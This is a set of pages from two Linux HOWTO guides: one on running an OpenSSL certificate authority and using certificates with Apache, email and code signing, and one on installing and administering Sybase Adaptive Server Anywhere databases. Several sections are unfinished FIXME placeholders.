You may want to sign the request manually because you have to ensure that the start date and end date of validity of the new certificate are correct.

openssl ca -config /etc/openssl.cnf -policy policy_anything -out newcert.pem -infiles newreq.pem -startdate [now] -enddate [previous enddate+365days]

replace [now] and [previous enddate+365days] by the correct values.

2.5.4. Display a certificate

You may have a certificate in its coded form, to read the details of the certificate just issue the following command:

openssl x509 -in newcert.pem -noout -text

2.5.5. The index.txt file

In the index.txt file you can find the various certificate managed by OpenSSL. The entries are maked with R for Revoked, V for Valid and E for expired.

2.5.6. Build your web based Certificate Authority

There are a few requirements when you are a Certificate Authority (CA):

  1. You must publish your root CA Certificate, so that it can be widely installed in applications.

  2. You must publish the revocation list.

  3. You must display a certificate detail, provided its serial number

  4. You must provide a form for users to submit certificate requests.

All these requirements can be done using a web server and some scripting.

FIXME: some code here for the web interface...

Prev | Home | Next
Install the CA root certificate as a Trusted Root Certificate | Up | Securing Internet Protocols.


Securing Internet Protocols.

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.6. Securing Internet Protocols.

2.6.1. Using a certificate with mod_ssl in apache

First never use your self-signed root CA Certificate with any application and especially with apache as it requires you to remove the passphrase on your private key.

First generate and sign a certificate request with the Common Name (CN) as www.mysite.com. Remove any extra information to keep only the ---CERTIFCATE --- part.

The key needs to be made insecure, so no password is required when reading the private key. Take the newreq.pem files that contains your private key and remove the passphrase from it.

openssl rsa -in newreq.pem -out wwwkeyunsecure.pem

Because the key (PRIVATE Key) is insecure, you must know what you are doing: check file permissions, etc... If someone gets its hand on it, your site is compromised (you have been warned). Now you can use the newcert and cakeyunsecure.pem for apache.

Copy wwwkeyunsecure.pem and newcert.pem in the directory /etc/httpd/conf/ssl/ as wwwkeyunsecure.pem and wwwcert.crt respectively.

Edit /etc/httpd/conf/ssl/ssl.default-vhost.conf.

----
# Server Certificate:
# Point SSLCertificateFile at a PEM encoded certificate. If
# the certificate is encrypted, then you will be prompted for a
# pass phrase. Note that a kill -HUP will prompt again. A test
# certificate can be generated with `make certificate' under
# built time.
#SSLCertificateFile conf/ssl/ca.crt
SSLCertificateFile wwwcert.crt
# Server Private Key:
# If the key is not combined with the certificate, use this
# directive to point at the key file.
#SSLCertificateKeyFile conf/ssl/ca.key.unsecure
SSLCertificateKeyFile wwwkeyunsecure.pem
----

Stop and start httpd (/etc/rc.d/init.d/httpd stop) ensure that all processes are dead (killall httpd) and start httpd (/etc/rc.d/init.d/httpd start)

2.6.2. Using a certificate with IMAPS

FIXME

2.6.3. Using a certificate with POPS

FIXME

2.6.4. Using a certificate with Postfix

FIXME

2.6.5. Using a certificate with Stunnel

FIXME

2.6.6. Generate and Sign a key with Microsoft Key Manager

In Microsoft Key Manager, select the service you want to create a key for, for instance IMAP (or WWW). Use the wizard to generate a new key. Ensure that the distinguished name won't be identical to previous generated keys, for Instance for the Common Name (CN) use imap.mycompany.com. The wizard will place the request in the file C:\NewKeyRq.txt. Key Manager shows a Key with a strike to indicate the key is not signed.

Import this file in the OpenSSL /var/ssl directory, rename it to newreq.pem and sign the request as usual.

CA.pl -sign

The file newcert.pem is not yet suitable for key manager as it contains some text and the -CERTIFICATE- section. We have to remove the text, the easy way is to do:

openssl x509 -in newcert.pem -out newcertx509.pem

Using a text editor is also suitable to delete everything outside the -CERTIFICATE- section.

The newcertx509.pem file now contains only the -CERTIFICATE- section.

Export the file newcertx509.pem to the Computer running key Manager and while selecting the key icon in the Key Manager application, right click and click on Install the Key Certificate, select this file, enter the passphrase. The key is now fully functional.

Prev | Home | Next
Certificate management | Up | Securing E-mails.


Securing E-mails.

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.7. Securing E-mails.

2.7.1. Generate and use an s/mime certificate

Simply generate and sign a certificate request but with the Common Name (CN) being your e-mail address.

Now sign your message test.txt (output test.msg) using your certificate newcert.pem and your key newreq.pem:

openssl smime -sign -in test.txt -text -out test.msg -signer newcert.pem -inkey newreq.pem

You can now transmit test.msg to anybody, you can use this procedure to make signed advisories, or other signed documents to be published digitally.

2.7.2. To use this certificate with MS Outlook

You need to import it in Outlook as a pkcs12 file. To generate the pkcs12 file from your newcert.pem and newreq.pem:

CA.pl -pkcs12 "Franck Martin"
(openssl pkcs12 -export -in newcert.pem -inkey newreq.pem -out newcert.p12 -name "Franck Martin")

Beware this certificate contains your public and private key and is only secured by the passphrase. This is a file not to let into everybody's hand.

In MS Outlook go to Tools, Options and Security, Click on the import/export button select to import the newcert.p12 file, enter the export password and the Digital ID "Franck Martin" (That's my name so use your name in the above examples). And Click on Ok.

Now click on the Settings button, MS Outlook should have selected the default setting so just click on New. And finally click on Ok, except if you want to change the default settings. You are ready to send signed e-mails. When you send a signed e-mail the user at the other end will receive your public key, and will therefore be able to send you encrypted e-mails.

As you have issued this certificate from a self-signed certificate (root CA Certificate), the trust path won't be valid because the application does not know the root CA Certificate. The root CA certificate has to be downloaded and installed. Refer to the chapter "Install the CA root certificate as a Trusted Root Certificate in Internet Explorer".

You can send your message as encrypted signed messages or clear text message. The encryption is not really an encryption as the message contains everything needed to decrypt the message, but it ensures that the recipient won't read the message if he does not have an s/mime compliant reader.

2.7.3. To use this certificate with MS Outlook Express

FIXME

2.7.4. To use this certificate with Netscape Messenger

FIXME

2.7.5. To use this certificate with Evolution

FIXME

2.7.6. To use this certificate with Balsa

FIXME

2.7.7. To use this certifcate with KMail

FIXME

Prev | Home | Next
Securing Internet Protocols. | Up | Securing Code


Securing Code

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management

2.8. Securing Code

2.8.1. Micosoft Code

You can sign your programs and applet to certify that you are the author of such code. It is important for your customes to trust that nobody has tried to insert a virus or a backdoor inside your code. To authenticate your code you need Microsoft Authenticode SDK. You can get it from the Microsoft web site in the MSDN section.

Gernerate a certificate as usual but with a Common Name (CN) like “ACME Software Cert”. Have the certificate signed by the CA and convert it to a pkcs12 format.

CA.pl -newcert
CA.pl -sign
CA.pl -pkcs12 "ACME Software Cert"

You get a file called newcert.p12 that you import in the Certificate store by clicking on the file when in Windows.

You can now use this certificate for signing your code

signcode -cn "ACME Software cert" -tr 5 -tw 2 -n "My Application" -i http://www.acme.com/myapp/ -t http://timestamp.verisign.com/scripts/timstamp.dll myapp.exe

When you try to install and run your application a dialog will appears with the title “My Application” and with a link pointed by the -i argument.

Prev | Home
Securing E-mails. | Up


Backing up and Restoring a Database

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

5. Backing up and Restoring a Database

Creating a backup of your data is a simple, essential component of any serious installation. Adaptive Server Anywhere includes utilities to help minimize data loss in case your data becomes corrupt as a result of media failure, power outage, or other failure.

5.1. Creating a Backup of the Database

Backups of Adaptive Server Anywhere databases can be performed through the dbbackup command line utility, SQL, or Sybase Central. Both full backups and incremental backups can be performed, and they can be performed either online or offline (that is, whether the server is running or not, respectively). In addition, backups can be performed both from the server side and from the client side.

5.1.1. Full vs. Incremental Backups

A full backup makes copies of the main database file and the transaction log file. While it's the most basic and essential type of backup, it usually isn't practical to regularly perform full backups of large databases. As a result, incremental backups are commonly used.

An incremental backup makes a copy of the transaction log alone. It takes place as part of a cycle that begins with a full backup, which is then followed by a given number of incremental backups. Since only the transaction log is copied, an incremental backup uses less time and resources, making it particularly suited for large databases. Keep in mind, though, that the more time you leave between full backups, the greater the risk of losing data in the event that one of the transaction logs becomes unusable.

5.1.2. Online vs. Offline Backups

An online backup is performed without stopping the database server. It provides a consistent snapshot of the database, even as the database is modified. Online backups are useful for databases with high availability requirements, but they won't complete until all active transactions are complete.

In contrast, offline backups are performed once the database server has been shut down. They're useful for when the database can be taken down on a regular basis. You make offline backups simply by copying the pertinent files to another location using the cp command in a terminal window.

In either case, both full and incremental backups can be performed.

5.1.3. Server-side vs. Client-side Backups

An online backup can be performed from a client using the dbbackup command line utility. This is known as a client-side backup, and it puts a backup of the database on the client machine.

An online backup can also be performed on the server by issuing the BACKUP statement in SQL. Server-side backups are generally faster, owing to the fact that client-side backups usually depend upon transport across networks.

5.1.4. How to make a backup

5.1.4.1. From the command line

The command line utility for making a backup of your database is dbbackup. Its syntax is as follows:

dbbackup [ switches ] directory

directory specifies a destination directory for the backup files. Some useful switches include the following:

  • -c is used to specify a connection string to the database to be backed up

  • -d creates a backup of the main database file only

  • -t creates a backup of the transaction log only

  • -r renames any previous transaction log backups and creates a new one. It is necessary for replication systems.

  • -x deletes any previous transaction log backups and creates a new one. It should not be used in replication systems.

For example, if you were creating your first backup, you would want to create a full backup of MyDatabase. To put it in ./backups, use the following command:

dbbackup -c "uid=DBA;pwd=SQL;dbn=MyDatabase" ./backups

The next few backups could be incremental backups, so use the following:

dbbackup -t -r -c "uid=DBA;pwd=SQL;dbn=MyDatabase" ./backups

5.1.4.2. From SQL

If you prefer to back up your database from Interactive SQL, the SQL statement is BACKUP DATABASE. You must have DBA authority to use BACKUP DATABASE, whose syntax is as follows:

BACKUP DATABASE DIRECTORY backup-directory
  [ WAIT BEFORE START ]
  [ DBFILE ONLY ]
  [ TRANSACTION LOG ONLY ]
  [ TRANSACTION LOG RENAME [ MATCH ] ]
  [ TRANSACTION LOG TRUNCATE ]

5.1.4.3. From Sybase Central

To make a backup from Sybase Central, open the Utilities folder under "Adaptive Server Anywhere 7" and double-click "Backup Database" to open a dialog box which will guide you through the backup process.

5.2. Validating the database and its backup

You should regularly use either Sybase Central, SQL, or the dbvalid command line utility to validate a backup of your database in read-only mode, and, if errors are found, make repairs against the original database. Never make changes to a backup database! To read more about validation, see "Validating a database" and "Validating a transaction log" under the Backup and Data Recovery chapter of the Adaptive Server Anywhere User's Guide.

5.3. Recovering the database

Depending on the way your database and its backups are set up, and the status of your files after a media failure, there are several possible processes involved in how you go about recovering data. For information on how to recover data in various situations, see the Backup and Data Recovery chapter of the Adaptive Server Anywhere User's Guide.

Prev | Home | Next
Creating, Running and Connecting to Databases |  | Managing a Database


Sybase Adaptive Server Anywhere for Linux HOWTO

Aylwin Lo

Tom Slee

Sybase Inc.

Tom.Slee@sybase.com

Revision History
Revision 1.0 2001-04-26 Revised by: al
First public release.

This HOWTO guides you through the installation of SQL Anywhere Studio 7.0.2 for Linux and the basic operation and administration of Adaptive Server Anywhere databases.

Table of Contents
1. Introduction
1.1. New versions of this document
1.2. Content and Audience
1.3. Adaptive Server Anywhere features
1.4. Quirks
1.4.1. Alt and Function keys
1.5. What's a Relational Database?
1.5.1. Definition
1.5.2. Example
1.5.3. Primary and Foreign Keys
2. Requirements
2.1. System requirements
2.2. Supported distributions
3. Installation
3.1. Process
3.2. Distribution-specific considerations (for TurboLinux and Caldera)
3.3. Setting the Environment Variables
3.4. Where did it get installed?
4. Creating, Running and Connecting to Databases
4.1. Creating a database
4.1.1. Creating a database from the command prompt
4.1.2. Creating a database from Sybase Central
4.2. Running a database server and starting databases
4.2.1. Running the server as a daemon
4.3. Stopping the database server
4.4. Stopping databases
4.5. Connecting to a database
4.5.1. Connection strings
4.5.2. Connecting from Interactive SQL
4.5.3. Connecting via ODBC
4.5.3.1. Setting up ODBC with Adaptive Server Anywhere
4.5.3.2. About ODBC data sources
4.5.3.3. Connecting to an ODBC data source
5. Backing up and Restoring a Database
5.1. Creating a Backup of the Database
5.1.1. Full vs. Incremental Backups
5.1.2. Online vs. Offline Backups
5.1.3. Server-side vs. Client-side Backups
5.1.4. How to make a backup
5.1.4.1. From the command line
5.1.4.2. From SQL
5.1.4.3. From Sybase Central
5.2. Validating the database and its backup
5.3. Recovering the database
6. Managing a Database
6.1. Tables
6.1.1. Creating a Table
6.1.2. Making Alterations to Tables
6.2. Users, permissions, and authorities
6.2.1. User IDs
6.2.1.1. Special user IDs
6.2.1.2. Creating new user IDs
6.2.2. Permissions
6.2.3. Authorities
6.2.3.1. RESOURCE authority
6.2.3.2. DBA authority
6.2.4. Removing Users and Revoking Permissions
6.2.5. Changing Passwords
6.3. Making the database more secure
6.3.1. Increasing password security
6.3.2. Views, procedures, and triggers
6.3.3. Encrypting client/server communications
7. Where to get more information
8. Legalities and Acknowledgements
8.1. Copyright and Licenses
8.2. Names and Contacts
8.3. Acknowledgement
Next
Introduction


Installation

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

3. Installation

3.1. Process

  1. Log on as root.

  2. Place the CD-ROM into the CD-ROM drive.

  3. Mount the CD-ROM. Usually, it gets mounted to /mnt/cdrom. If so, enter the following command:

    mount /mnt/cdrom

  4. At a command prompt, change to the CD-ROM directory. If the CD-ROM was mounted to /mnt/cdrom/, use the following command:

    cd /mnt/cdrom

  5. Start the setup script by entering the following command:

    ./setup

  6. The setup script prompts you with information about installing SQL Anywhere Studio for UNIX. Enter any information you are prompted for, and press the Enter key to continue.

By default, SQL Anywhere Studio is installed into a directory named SYBSsa7 under /opt/sybase on Solaris, Linux, and HP-UX, and under /usr/lpp/sybase on AIX. You can specify another installation directory if you wish.

3.2. Distribution-specific considerations (for TurboLinux and Caldera)

After installation, you should follow these instructions if you are running either TurboLinux 6.0 or Caldera 2.2.

For TurboLinux 6.0 only, change to directory /usr/lib and create a symbolic link using the following command.

ln -s libstdc++-libc6.1-2.so.3 libstdc++-libc6.1-1.so.2

For Caldera 2.2 only, change to directory /usr/lib and create a symbolic link using the following command.

ln -s /usr/lib/libstdc++-2.9.0 /usr/lib/libstdc++-libc6.1-1.so.2

3.3. Setting the Environment Variables

Each user who uses the software must set the necessary environment variables for Adaptive Server Anywhere. To help you do that, the installation program puts two script files, asa_config.sh and asa_config.csh, in the directory /InstallDir/SYBSsa7/bin. InstallDir is the directory where you chose to install Adaptive Server Anywhere.

Depending on which shell you're using, enter the appropriate command from InstallDir.

Table 5.

If you're using this shell... | ...use this command.
sh, ksh, bash | . ./SYBSsa7/bin/asa_config.sh
csh, tcsh | source ./SYBSsa7/bin/asa_config.csh

You may also want to insert the above commands into your copy of .profile or .bash_profile to have the environment variables ready every time you log in.

3.4. Where did it get installed?

Table 6.

Most Adaptive Server Anywhere command line utilities (names beginning with db) | /InstallDir/SYBSsa7/bin
Sybase Central | /InstallDir/shared/sybcentral40/java
Sample database | /InstallDir/SYBSsa7
Online documentation | /CDROM/help/contents.htm or/InstallDir/SYBSsa7/doc/contents.htm

CDROM is the directory where your CD-ROM is mounted, which is usually /mnt/cdrom/.

InstallDir is the directory where you chose to install Adaptive Server Anywhere.

The first two directories are put into the path by asa_config.sh or asa_config.csh, so if you've already executed one of them as mentioned in the previous section, you won't have to change directories to get to most of the executables associated with Adaptive Server Anywhere.

Prev | Home | Next
Requirements |  | Creating, Running and Connecting to Databases


Introduction

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

1. Introduction

This HOWTO guides you through the installation of SQL Anywhere Studio 7.0.2 for Linux and the basic operation and administration of Adaptive Server Anywhere databases.

1.1. New versions of this document

The latest version of this document should always be available at the Linux Documentation project website (http://www.linuxdoc.org/).

1.2. Content and Audience

Within this document, you will find a list of the supported Linux distributions ("Section 2"). It is intended for moderately experienced users of Linux or UNIX. Familiarity with relational database concepts is certainly useful, but not a requirement. "Section 1.5" contains a summary of relational database concepts.

1.3. Adaptive Server Anywhere features

Adaptive Server Anywhere (Adaptive Server Anywhere) is the full SQL relational database management system at the heart of SQL Anywhere Studio. Ideally suited for use as an embedded database, in mobile computing, or as a workgroup server, it includes the following among its features:

  • Economical hardware requirements

  • Designed to operate without administration

  • Designed for mobile computing and synchronization

  • Ease of use

  • High performance

  • Cross-platform solution

  • Standalone and network use

  • Industry standard interfaces

Some of the more specific features include:

  • Stored procedures and triggers

  • Java support for logic and datatypes

For further details about Adaptive Server Anywhere, please visit the following links:

  • http://www.sybase.com/detail/1,3693,1002624,00.html is a datasheet on SQL Anywhere Studio. It includes some data on Adaptive Server Anywhere, which ships as a component of SQL Anywhere Studio.

  • http://www.sybase.com/detail/1,3693,1009210,00.html has some information on the features and system requirements of SQL Anywhere Studio and points you to the download location for SQL Anywhere Studio for Linux 7.0.

1.4. Quirks

1.4.1. Alt and Function keys

Sometimes the Alt keys or the F1-F10 keys may not function in the terminal where you are running Interactive SQL.

To emulate the Alt key, press Ctrl-A. Then press whatever key was to be pressed with the Alt key. For example, instead of pressing Alt-F, you would press Ctrl-A, then F.

To emulate the function keys, press Ctrl-F, followed by the number of the function key you wanted to press. For example, instead of pressing F9, you would press Ctrl-F, then 9. For F10, use the zero key.

1.5. What's a Relational Database?

If you are already familiar with relational databases, you can skip this section.

1.5.1. Definition

A relational database-management system (RDBMS) is a system for storing and retrieving data, in which the data is organized in tables. A relational database consists of a collection of tables that store interrelated data.

If that doesn't quite make sense yet, read on.

1.5.2. Example

Suppose you have some software to keep track of sales orders, and each order is stored in the form of a table, called sales_order. It has information about the customer (for example, her name, address and phone number), the date of the order, and information about the sales representative (for example his name, department, and office phone number). Let's put all this into a table, with the data for a few orders:

Table 1. The sales_order table

cust_name | cust_address | cust_city_state_zip | cust_phone | order_date | emp_name | emp_dept | emp_phone
M. Devlin | 3114 Pioneer Ave. | Rutherford, NJ 07070 | 2015558966 | 19930316 | R. Overbey | Sales | 5105557255
M. Devlin | 3114 Pioneer Ave. | Rutherford, NJ 07070 | 2015558966 | 19940405 | M. Kelly | Sales | 5085553769
J. Gagliardo | 2800 Park Ave. | Hull, PQ K1A 0H3 | 8195559539 | 19940326 | M.Garcia | Sales | 7135553431
E. Peros | 50 Market St. | Rochester, NY 14624 | 7165554275 | 19930603 | P. Chin | Sales | 4045552341
E. Peros | 50 Market St. | Rochester, NY 14624 | 7165554275 | 19940127 | M.Garcia | Sales | 7135553431
E. Peros | 50 Market St. | Rochester, NY 14624 | 7165554275 | 19940520 | J. Klobucher | Sales | 7135558627

Everything appears nice and ordered, but there's a fair bit of redundancy. M. Devlin's name appears twice, along with his address and phone number. E. Peros' details appear three times. If you look carefully at the employee side of things, you'll notice that M. Garcia is repeated, as well.

Wouldn't it be nice if you could separate that information and only store it once, rather than several times? In the long term, it would certainly save disk space and allow for greater flexibility. Since redundant data entry is minimized, it would also reduce the chances of erroneous data entering the database, increasing consistency. Well, we can see three different entities involved here: the customer, the order, and the employee. So let's take each of the individuals, put them into categories, and give them identification numbers so they can be referenced.

Table 2. The customer table

id | name | address | city_state_zip | phone
101 | M. Devlin | 3114 Pioneer Ave. | Rutherford, NJ 07070 | 2015558966
109 | J. Gagliardo | 2800 Park Ave. | Hull, PQ K1A 0H3 | 8195559539
180 | E. Peros | 50 Market St. | Rochester, NY 14624 | 7165554275

Table 3. The employee table

id | name | dept | phone
299 | R. Overbey | Sales | 5105557255
902 | M. Kelly | Sales | 5085553769
667 | M.Garcia | Sales | 7135553431
129 | P. Chin | Sales | 4045552341
467 | J. Klobucher | Sales | 7135558627

Table 4. The new sales_order table

id | cust_id | order_date | sales_rep_id
2001 | 101 | 19930316 | 299
2583 | 101 | 19940405 | 902
2576 | 109 | 19940326 | 667
2081 | 180 | 19930603 | 129
2503 | 180 | 19940127 | 667
2640 | 180 | 19940520 | 467

As you can see, each customer's information is stored only once, and the same goes for each employee. The sales_order table is a lot smaller, too. Each row, representing a sales order, refers to a cust_id and an emp_id.

By looking up the customer corresponding to a cust_id (which is unique), one can find all the needed data on that customer, without having to repeat it in sales_order. In addition, an id column has been added. Its purpose will be explained in the next section.

Why do this, you ask? By eliminating redundancy, this kind of structure reduces the opportunities for inconsistencies to seep in, in addition to lowering storage requirements. If you had to change E. Peros' address in the old sales_order table, you'd have to do it three times, which would take three times as long and give you three times as many chances to make an error. In the newer table, all you'd have to do is change her address once, in the customer table. Also, by carefully separating data, you make access control simpler.

Finally, can you spot another redundancy? The employee table has "Sales" all the way down the dept column. For an organization with multiple departments, you'd want to add a department table and reference it from a dept_id column instead.

1.5.3. Primary and Foreign Keys

As described in the previous section, you can separate a table into interrelated tables. But how do you go about relating tables to each other? In relational databases, primary keys and foreign keys help you link tables together. Primary keys are columns that uniquely identify each row of a table, and foreign keys define the relationship between the rows of two separate tables. Proper use of primary and foreign keys will help you efficiently hold information without excessive redundancy.

Every table should have a primary key to ensure that each row is uniquely identified. This often takes the form of an ID number being assigned to each row, as in the previous section's example. The id column forms the primary key.

As long as you can guarantee the uniqueness of the data in a particular column, though, that column can be a primary key. For example, if you only want one entry per day to be put into a particular table, you could use the date as that table's primary key.

Tables are related to one another by foreign keys. In the sales_order example, the cust_id and sales_rep columns would be called foreign keys to the customer and employee tables, respectively. For terminology's sake, you might want to know that in this case, the sales_order table is called the foreign or referencing table, while the customer and employee tables are called the primary or referenced tables.

Prev | Home | Next
Sybase Adaptive Server Anywhere for Linux HOWTO |  | Requirements


Legalities and Acknowledgements

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev

8. Legalities and Acknowledgements

8.1. Copyright and Licenses

Copyright (c) 2001 Sybase Inc.

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies.

  • Any translation or derived work must be approved by the author in writing before distribution.

  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.

  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given. Exceptions to these rules may be granted for academic purposes: Use the contact information in the next section to ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators. Any source code (aside from the DocBook this document was written in) in this document is placed under the GNU General Public License, available via anonymous FTP from the GNU archive.

The preceding notice was borrowed and tweaked from the LDP Author Guide's copyright notice.

8.2. Names and Contacts

This document was initiated by Michael Moller and (mostly) written by Aylwin Lo with assistance from Michael Heal and Tom Slee. We work at Sybase.

Since the author is a co-op student, the best way to contact someone regarding this document is by posting to the sybase.public.sqlanywhere.linux newsgroup, available on the forums.sybase.com news server.

8.3. Acknowledgement

Thanks to the folks at http://www.commandprompt.com/ for getting the text of this HOWTO into workable SGML for us.

Prev | Home
Where to get more information |


Managing a Database

Sybase Adaptive Server Anywhere for Linux HOWTO
Prev Next

6. Managing a Database

6.1. Tables

All data in relational databases is held in tables. Each column is assigned a data type, and each row of a table holds a value for each column. The following are true for any table in a relational database:

  • There is no significance to the order of rows and columns.

  • Each row contains exactly one value per column.

  • All values in a column are of the same type.

Here are some things to keep in mind when designing your database:

  • give every table a primary key

  • make sure that each table holds information about one specific entity

  • foreign keys form the relationships between tables (and therefore entities)

6.1.1. Creating a Table

When you first create a database in Adaptive Server Anywhere, the only tables it contains are the system tables. To create tables to hold your data, use either the CREATE TABLE statement in SQL or the Sybase Central Table Editor. You must have the DBA or RESOURCE authority to create a table, and you must have the DBA authority make another user its owner.

The CREATE TABLE statement has an extremely broad range of options that are documented in the Adaptive Server Anywhere Reference, so only a small subset of options are described here. The basic syntax is as follows:

CREATE TABLE owner.table-name
  (column-name datatype [, column-name datatype]...)

The "owner." portion before tablename is optional, and is used by a user with the DBA authority to make another user the owner of the new table. table-name and column-name, respectively, are the names of the table and its columns. Insert the words PRIMARY KEY after datatype to make it the primary key.

See the SQL Data Types chapter of the Adaptive Server Anywhere Reference for a list of the types available and their characteristics.

To create a table named customer with columns id, name, address, city_state_zip, and phone, with id as the primary key, for example, use the following CREATE TABLE statement:

create table customer
 (id integer not null primary key,
  name char ( 35 ),
  address char ( 35 ),
  city_state_zip char ( 35 ),
  phone char ( 12 )
 )

It's also important to add "not null" in the case of id, since it's the primary key.

To create a table in Sybase Central, connect to your database and open its Tables folder. If you double-click "Add Table," Sybase Central Table Editor will be opened and using the button bar, you can set up the table as you wish. Hover the mouse pointer over each button to find out what it does. Don't forget to make a primary key before you close the Table Editor!

Some table creation options documented in the Adaptive Server Anywhere Reference but not here that you might be interested in include automatic incrementation (often used on the primary key), constraints, and foreign keys.

6.1.2. Making Alterations to Tables

You can make many kinds of changes to a table once it's been created. Some of the things you can do include the following:

  • rename a table

  • add, remove, or rename columns

  • change the datatype, default value, or length of a column

As with creating tables, you can alter them through SQL or Sybase Central. To alter a table in SQL, you use the ALTER TABLE statement. ALTER TABLE has a great variety of options, which are described in detail in the Adaptive Server Anywhere Reference. You'll see a few basic examples here just to get you started.

To rename the customer table to cust:

alter table customer
  rename cust

To add a company_name column to cust, with a maximum length of 35 characters:

alter table cust
  add (company_name char (35) )

To give company_name a default value of "n/a" :

alter table cust
  alter company_name set default 'n/a'

6.2. Users, permissions, and authorities

NOTE: Before putting an Adaptive Server Anywhere database into serious usage, your first order of business as the database administrator (DBA) should be to change the DBA password from the default password, "SQL." For details on how to do this, see section 6.2.5.

This section describes the user IDs that are created for each database, briefly describes how to create new user IDs, and goes over some of the ways you can use user IDs to control outsiders access of data. For more information on user IDs, groups, and permissions, see the Managing User IDs and Permissions chapter of the Adaptive Server Anywhere User's Guide.

6.2.1. User IDs

6.2.1.1. Special user IDs

When Adaptive Server Anywhere databases are initialized, two groups and two user IDs are created. The two groups created are SYS and PUBLIC. The two user IDs created are DBA and dbo.

SYS is a user as well as a group, but no one can connect to the database using the user ID SYS. SYS owns the system tables and the system views, and only SYS can update the system tables.

PUBLIC is a member of the SYS group, and has only SELECT permissions on most system tables and system views. Since new user IDs are, by default, members of PUBLIC, you should revoke PUBLIC's membership in SYS if you want new users to have no permissions by default.

The DBA user can directly modify any part of an Adaptive Server Anywhere database except the system tables. This is why it's important to change the default DBA password from "SQL." You should be cautious when giving DBA authority to a user (see the DBA Authority section below). If a user needs DBA authority, s/he should be given DBA authority, rather than the DBA's password.

6.2.1.2. Creating new user IDs

The SQL statement to add a new user ID is GRANT CONNECT.

Syntax:

GRANT CONNECT TO userid1
  IDENTIFIED BY password1

To add a user ID with the name Mortimer, execute the following SQL statement:

grant connect to mortimer identified by
monkey

6.2.2. Permissions

This section explains permissions on tables that can be granted to users. Permissions are granted on a user-by-user basis.

There are a few different table permissions that can be granted to a user, and they are each granted separately.

  • SELECT allows the user to read data, and can be restricted to particular columns.

  • INSERT allows the user to add data.

  • UPDATE allows the user to change data, and can be restricted to particular columns.

  • DELETE allows the user to remove data.

  • ALTER allows the user to modify the structure of a table.

  • REFERENCES allows the user to add indexes, primary keys, and foreign keys.

  • ALL includes all the above permissions.

With the exceptions of ALTER and REFERENCES, which apply to tables exclusively, the table permissions apply to both tables and views. The SQL syntax for granting permissions is as follows:

GRANT [ SELECT (column-name, ...)
      | INSERT
      | UPDATE (column-name, ...)
      | DELETE
      | ALTER
      | REFERENCES
      | ALL                                          ]
ON table-name
TO userid

The user userid is given the specified permission(s) on the table identified by table-name. If the permissions granted include SELECT and/or UPDATE, they are granted only on the columns specified in column-name.

Let's say a list of available banana types is stored in the type and quantity columns of a table named banana_supply. To allow Mortimer to see a list of available banana types along with their quantities, use the following SQL statement:

grant select on banana_supply (type, quantity) to mortimer

When you grant a permission to a user, you have the option of granting him the ability to grant that same permission to others. To grant a user the permission to do so, add WITH GRANT OPTION to the end of your users GRANT statement when you're granting them their permissions.

To allow Mortimer to see a list of banana types available along with the quantities of each, as well as allowing him to grant others the same SELECT permission, use this SQL statement:

grant select on banana_supply (type, quantity)
to mortimer
      with grant option

6.2.3. Authorities

An authority is a different level of permission. There are two types of authority.

6.2.3.1. RESOURCE authority

A user with the RESOURCE authority can create and drop database objects such as tables, views, stored procedures, and functions. The RESOURCE authority also allows the user to create and remove user IDs and passwords. To give userid the RESOURCE authority, execute the following SQL statement:

GRANT RESOURCE TO userid

6.2.3.2. DBA authority

A user with the DBA authority can perform any database operation, and automatically has all permissions on all tables, except the system tables. The DBA can create and remove user IDs and passwords, grant RESOURCE and DBA authority, and unload and reload the database.

GRANT DBA TO userid

6.2.4. Removing Users and Revoking Permissions

The SQL statement to delete a user ID is REVOKE CONNECT.

Syntax:

REVOKE CONNECT FROM userid [, userid ]

As suggested by the portions in square parentheses, it's possible to remove multiple user IDs in a single statement. For example, to remove the user IDs for Mortimer and Chestington, execute this statement:

revoke connect from mortimer, chestington

To revoke permissions or authorities given to a particular user, you take the original granting statement, replace the GRANT with REVOKE, and replace the TO with FROM. To take away Mortimer's permission to view the banana_supply table, for example, use this REVOKE statement:

revoke select on banana_supply (type, quantity) from mortimer

6.2.5. Changing Passwords

To change the password associated with a particular user ID, use a GRANT CONNECT statement again:

GRANT CONNECT TO userid IDENTIFIED BY newpassword

For example, to change the DBA's password from "SQL" to "d0n13xw9," use this statement:

grant connect to DBA identified by d0n13xw9

6.3. Making the database more secure

Some of the Adaptive Server Anywhere features you may wish to use in building a secure environment for your data include the following:

  • User identification and authentication control access to databases.

  • Permissions and authorities, which have already been explained in previous sections, control the actions a user can carry out while connected to a database.

  • Views and stored procedures allow you to carefully tune the data a user can access and the operations a user can execute.

  • Connection encryption can prevent unauthorized persons from snooping.

Some of these features have already been mentioned in this HOWTO, and some of them will be elaborated upon in the following sections. While the concepts of triggers, procedures, and views will be introduced so you can decide if and how you'll use them, their implementation won't be discussed. You can find indepth information on them, as well as details on their implementation, in the sections of the Adaptive Server Anywhere User's Guide listed below:

Table 8.

Chapter | Section
Using Procedures, Triggers, and Batches | Benefits of procedures and triggers
Managing User IDs and Permissions | Using views and procedures for extra security

6.3.1. Increasing password security

By default, passwords can be any length. For greater security, you can enforce a minimum length on all new passwords, to make them more difficult to guess. You do this by setting the MIN_PASSWORD_LENGTH database option to a greater value. The following statement enforces a minimum password length of 8 characters:

set option public.min_password_length = 8

Check the "Changing Passwords" section of this document to learn how to change a user's password, and don't forget to change the DBA's password!

6.3.2. Views, procedures, and triggers

Views are useful when it is appropriate to give a user access to just one portion of a table. The portion can be defined in terms of rows or in terms of columns. For example, you may wish to prevent a group of users from seeing the quantity column of the banana_supply table, or you may wish to limit a user to see information on a particular type of banana.

While views restrict access based on the data, procedures and triggers restrict access based on the actions a user can take. Procedures and triggers store SQL statements in a database for use by all applications. They execute under the table permissions of the associated table's owner, regardless of the permissions of the user who either executes the procedure or fires the trigger.

